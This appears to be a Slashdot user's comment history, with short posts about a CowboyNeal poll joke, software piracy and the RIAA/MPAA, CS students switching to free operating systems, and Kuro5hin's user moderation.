  1. What? on Hark! I Hear a Dropped Packet! · · Score: 1

    Are the editors dropping packets?

    e) CowboyNeal
    CowboyNeal is pretty much slashdot. Not a day goes by where he isnt a poll option. This man is more things than we could ever imagine. He is compared to every thing from 'The Who' to what kind of caffinee drink would make the best beowolf cluster. While his posts scream " I have no idea how to use a spell checker or read a story", I feel he will lead the rest of the team in these quality control issues. A vote for CowboyNeal is a vote against MS.

    -Don't complain about lack of options. You've got to pick a few when you do multiple choice. Those are the breaks.
    -This whole thing is wildly inaccurate. Rounding errors, ballot stuffers, dynamic IPs, firewalls.
    -If you're using these numbers to do anything important, you're insane.

  7. ok, 4 hours later and the MPAA/RIAA is bad on Ebert, Gillmor on the Music Industry · · Score: 4, Insightful

    :P.

    But seriously, pirates hurt software companies just as bad, if not worse than the music industry. Why doesnt the RIAA, MPAA..etc recongonize this? Its not as if Adobe is giving away Photoshop. They only difference is that software companies have adapted to this changed their business model to surive.

  8. hell ya on Will CS Students Switch From Microsoft? · · Score: 4, Interesting

    1st-As much fun as it is paying a few hundred dollars (including student discount) for a 'stable 'operation system, let alone development tools, its better, and cheaper, to get them for free.

    2nd- As a student, it is better to open up some code under the GPL and see how you can implement things, rather than see the application run. Linux apps are a great place to see howto write things, and what good coding style looks like.

    3rd- The university that I goto only uses windows for the public labs, duh, and the first year CS labs. Second year uses a combination of NetBSD and solaris boxes.( Gnome and KDE are being looked at).

  10. Re:Garbage Bin? on Announcing Slashdot Subscriptions · · Score: 3, Interesting

    you mean like Kur05hin? the successful slashdot. Where the users mod the stories in the queue onto the frontpage, and the moderation totals of a comment is average/#mod's?

    Kuro5hin needs money too. And they arent pissing off their user base for asking for it.
